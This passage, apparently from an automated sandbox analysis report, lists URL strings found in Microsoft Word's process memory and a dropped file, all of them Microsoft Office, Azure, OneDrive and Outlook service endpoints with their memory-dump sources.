Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://management.azure.com
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://management.azure.com/
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://management.azure.com/t
Source: WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://messaging.office.com/
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://metadata.templates.cdn.office.net/client/log
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://metadata.templates.cdn.office.net/client/logA?V
Source: WINWORD.EXE, 00000001.00000002.569040396.000000000CF4F000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://ncus.contentsync.
Source: WINWORD.EXE, 00000001.00000002.569111011.000000000CFC2000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://ncus.pagecontentsync.
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://nexus.officeapps.live.com
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://nexus.officeapps.live.com/
Source: WINWORD.EXE, 00000001.00000003.292298314.00000000109B6000.00000004.00000001.sdmp String found in binary or memory: https://nexus.officeapps.live.com/nexus/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://nexus.officeapps.live.com/nexus/rules
Source: WINWORD.EXE, 00000001.00000002.569466950.000000000D0A4000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://nexus.officeapps.live.com/nexus/rules?Application=winword.exe&Version=16.0.4954.1000&ClientI
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://o365diagnosticsppe-web.cloudapp.netvK
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://officeapps.live.com
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.com%
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.com-
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.com0a
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.com3
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.com5
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.com9
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.com?
Source: WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comA
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comG
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comLMEM8
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comM
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comO
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comS
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comW
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comXW
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comY
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comc
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comender
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comi
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comion.dll
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.como
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comocal
Source: WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comop.ini
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comq
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officeapps.live.comu
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://officeci.azurewebsites.net/api/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://officeci.azurewebsites.net/api/A?V
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asksz
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: WINWORD.EXE, 00000001.00000003.291956486.0000000010ACF000.00000004.00000001.sdmp String found in binary or memory: https://ofxus.officeapps.live.com/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://onedrive.live.com
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://onedrive.live.com%
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292128544.0000000010877000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://onedrive.live.com/embed?
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://onedrive.live.come
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://osi.office.net
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://osi.office.netd
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.418070806.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571431149.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp String found in binary or memory: https://osi.office.netst
Source: 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://otelrules.azureedge.net
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://otelrules.azureedge.net)
Source: WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://outlook.office.com
Source: WINWORD.EXE, 00000001.00000003.292622715.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571452806.0000000010A0E000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292317254.00000000109D5000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415190999.0000000010A0A000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://outlook.office.com/
Source: WINWORD.EXE, 00000001.00000002.569111011.000000000CFC2000.00000004.00000001.sdmp, 7CC1B43E-0D2C-47F4-8AD2-E8873A50A321.1.dr String found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: WINWORD.EXE, 00000001.00000003.292217767.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292507382.0000000010907000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417778990.0000000010906000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571343617.0000000010907000.00000004.00000001.sdmp String found in binary or memory: https://outlook.office.com1769
Source: WINWORD.EXE, 00000001.00000003.292072618.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.292003000.0000000010B12000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000002.571677116.0000000010AF7000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.416908743.0000000010ADD000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.417045996.0000000010AF9000.00000004.00000001.sdmp, WINWORD.EXE, 00000001.00000003.415510836.0000000010ADD000.00000004.00000001.sdmp String found in binary or memory: https://outlook.office.com7
